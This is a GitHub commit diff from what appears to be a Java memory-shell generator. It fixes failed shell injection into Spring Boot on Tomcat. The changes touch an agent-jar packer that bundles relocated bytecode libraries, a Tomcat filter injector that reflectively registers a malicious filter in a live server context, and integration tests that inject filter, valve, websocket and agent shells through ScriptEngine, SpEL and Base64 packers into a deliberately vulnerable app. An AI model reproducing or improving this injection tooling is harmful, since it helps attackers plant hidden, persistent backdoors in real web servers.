Skip to content

Commit d8079e5

Browse files
committed
fix: SpringBoot Tomcat Shell Inject failed
1 parent a5a5780 commit d8079e5

File tree

6 files changed

+40
-23
lines changed

6 files changed

+40
-23
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

Lines changed: 12 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -58,58 +58,53 @@ private Manifest createManifest(String mainClass) {
5858
@SneakyThrows
5959
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
6060
if (isAsm) {
61-
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
61+
addDependency(targetJar, Opcodes.class, relocatePrefix);
6262
} else {
63-
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
63+
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
6464
}
6565
}
6666

6767
@SneakyThrows
6868
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
69-
String relocatePrefix, boolean isRelocateEnabled) {
70-
String dependencyPackage = isRelocateEnabled ?
69+
String relocatePrefix, boolean isAsm) {
70+
String dependencyPackage = isAsm ?
7171
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
7272

7373
// Add injector class
7474
addClassEntry(targetJar,
7575
generateResult.getInjectorClassName(),
7676
generateResult.getInjectorBytes(),
7777
dependencyPackage,
78-
relocatePrefix,
79-
isRelocateEnabled);
78+
relocatePrefix);
8079

8180
// Add shell class
8281
addClassEntry(targetJar,
8382
generateResult.getShellClassName(),
8483
generateResult.getShellBytes(),
8584
dependencyPackage,
86-
relocatePrefix,
87-
isRelocateEnabled);
85+
relocatePrefix);
8886

8987
// Add inner classes
9088
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
9189
addClassEntry(targetJar,
9290
entry.getKey(),
9391
entry.getValue(),
9492
dependencyPackage,
95-
relocatePrefix,
96-
isRelocateEnabled);
93+
relocatePrefix);
9794
}
9895
}
9996

10097
@SneakyThrows
10198
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
102-
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
99+
String dependencyPackage, String relocatePrefix) {
103100
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
104-
byte[] processedBytes = isRelocateEnabled ?
105-
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
106-
classBytes;
101+
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
107102
targetJar.write(processedBytes);
108103
targetJar.closeEntry();
109104
}
110105

111106
@SneakyThrows
112-
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
107+
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
113108
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
114109
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
115110
String sourceUrlString = sourceUrl.toString();
@@ -133,13 +128,13 @@ public static void addDependency(JarOutputStream targetJar, Class<?> baseClass,
133128
if (entryName.startsWith(packageToMove)) {
134129
InputStream entryStream = sourceJar.getInputStream(entry);
135130
byte[] bytes = IOUtils.toByteArray(entryStream);
136-
if (relocate) {
131+
if (entryName.endsWith(".class")) {
137132
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
138133
if (bytes.length > 0) {
139134
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
140135
}
141136
} else {
142-
targetJar.putNextEntry(new JarEntry(entryName));
137+
targetJar.putNextEntry(entry);
143138
}
144139
targetJar.write(bytes);
145140
targetJar.closeEntry();

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -82,4 +82,25 @@ public static String getUrl(GenericContainer<?> container) {
8282
log.info("container started, app url is : {}", url);
8383
return url;
8484
}
85+
86+
static Stream<Arguments> tomcatCasesProvider() {
87+
Server server = Server.Tomcat;
88+
List<String> supportedShellTypes = List.of(
89+
ShellType.FILTER,
90+
// ShellType.LISTENER,
91+
ShellType.VALVE,
92+
ShellType.WEBSOCKET,
93+
ShellType.AGENT_FILTER_CHAIN,
94+
ShellType.AGENT_FILTER_CHAIN_ASM,
95+
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
96+
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
97+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
98+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
99+
}
100+
101+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
102+
@MethodSource("tomcatCasesProvider")
103+
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
104+
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
105+
}
85106
}

memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ public static byte[] relocateClass(byte[] classBytes, String relocateClassPackag
3636
}
3737
String oldClassName = relocateClassPackage.replace('.', '/');
3838
String newClassName = relocatePrefix.replace('.', '/');
39-
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
39+
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
4040
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
4141
@Override
4242
public String map(String typeName) {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -98,8 +98,8 @@ public void inject(Object context, Object filter) throws Exception {
9898
Object filterMap;
9999
try {
100100
// tomcat v8/9
101-
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
102-
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
101+
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, context.getClass().getClassLoader()).newInstance();
102+
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, context.getClass().getClassLoader()).newInstance();
103103
} catch (Exception e2) {
104104
// tomcat v6/7
105105
try {
@@ -119,7 +119,7 @@ public void inject(Object context, Object filter) throws Exception {
119119
Constructor<?>[] constructors;
120120
try {
121121
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
122-
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
122+
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
123123
} catch (Exception e) {
124124
// tomcat v5
125125
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});

vul/vul-springboot2/build.gradle

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ repositories {
1616
dependencies {
1717
implementation 'org.springframework.boot:spring-boot-starter-web'
1818
implementation 'commons-io:commons-io:2.+'
19+
implementation 'net.bytebuddy:byte-buddy:1.10.10'
1920
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
2021
testImplementation 'org.springframework.boot:spring-boot-starter-test'
2122
}

vul/vul-webapp/src/main/java/TestServlet.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,7 @@
1-
import javax.servlet.ServletContext;
21
import javax.servlet.ServletException;
32
import javax.servlet.http.HttpServlet;
43
import javax.servlet.http.HttpServletRequest;
54
import javax.servlet.http.HttpServletResponse;
6-
import java.io.BufferedReader;
75
import java.io.IOException;
86

97
/**
@@ -14,9 +12,11 @@ public class TestServlet extends HttpServlet {
1412

1513
@Override
1614
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
15+
req.getMethod();
1716
}
1817

1918
@Override
2019
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
20+
req.getMethod();
2121
}
2222
}

0 commit comments

Comments
 (0)